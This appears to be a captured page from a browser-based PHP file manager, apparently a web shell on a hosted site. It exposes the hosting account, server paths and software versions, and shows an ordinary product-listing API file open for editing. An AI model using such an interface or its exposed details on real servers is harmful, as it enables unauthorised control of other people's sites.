Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-503.34.1.el9_5.x86_64

PHP Version:

8.2.30

User:

u329947844

Directory:

/home/u329947844/domains/goldartsdpi.in/public_html/admin/api

Free Space:

10.28 TB

🔧 Quick Actions

✏️ Editing: best_sellers.php

<?php
header("Content-Type: application/json");
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET");
header("Access-Control-Allow-Headers: Content-Type");

require_once('../config.php');

// Function to get best seller products
function getBestSellers($conn, $limit = 10) {
    $best_sellers = array();
    
    // Prepare the SQL query
    $sql = "SELECT 
                p.id, 
                p.product_name, 
                p.thumbnail, 
                p.images, 
                p.description, 
                p.original_price, 
                p.discounted_price,
                c.category_name,
                c.input_type,
                c.allow_multiple
            FROM products p
            JOIN product_categories c ON p.category_id = c.id
            WHERE p.is_best_seller = 1
            ORDER BY p.created_at DESC
            LIMIT ?";
    
    $stmt = mysqli_prepare($conn, $sql);
    mysqli_stmt_bind_param($stmt, 'i', $limit);
    mysqli_stmt_execute($stmt);
    $result = mysqli_stmt_get_result($stmt);
    
    if (mysqli_num_rows($result) > 0) {
        while ($row = mysqli_fetch_assoc($result)) {
            // Process images JSON
            $row['images'] = json_decode($row['images'], true);
            
            // Calculate discount percentage
            $row['discount_percentage'] = 0;
            if ($row['original_price'] > 0) {
                $row['discount_percentage'] = round(
                    (($row['original_price'] - $row['discounted_price']) / $row['original_price']) * 100,
                    2
                );
            }
            
            // Add base URL for images if needed
            $base_url = "https://yourdomain.com/uploads/products/";
            $row['thumbnail_url'] = $base_url . "thumbnails/" . $row['thumbnail'];
            
            $row['image_urls'] = array();
            if (is_array($row['images'])) {
                foreach ($row['images'] as $image) {
                    $row['image_urls'][] = $base_url . "images/" . $image;
                }
            }
            
            $best_sellers[] = $row;
        }
    }
    
    mysqli_stmt_close($stmt);
    return $best_sellers;
}

try {
    // Get limit from query parameter or use default
    $limit = isset($_GET['limit']) ? intval($_GET['limit']) : 10;
    $limit = min($limit, 50); // Maximum limit of 50 for safety
    
    // Get best seller products
    $best_sellers = getBestSellers($conn, $limit);
    
    // Prepare response
    $response = array(
        'success' => true,
        'data' => array(
            'products' => $best_sellers,
            'count' => count($best_sellers)
        ),
        'message' => 'Best seller products retrieved successfully'
    );
    
    http_response_code(200);
    echo json_encode($response);
    
} catch (Exception $e) {
    // Error handling
    $response = array(
        'success' => false,
        'message' => 'Error: ' . $e->getMessage()
    );
    
    http_response_code(500);
    echo json_encode($response);
}

mysqli_close($conn);
?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: best_sellers.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation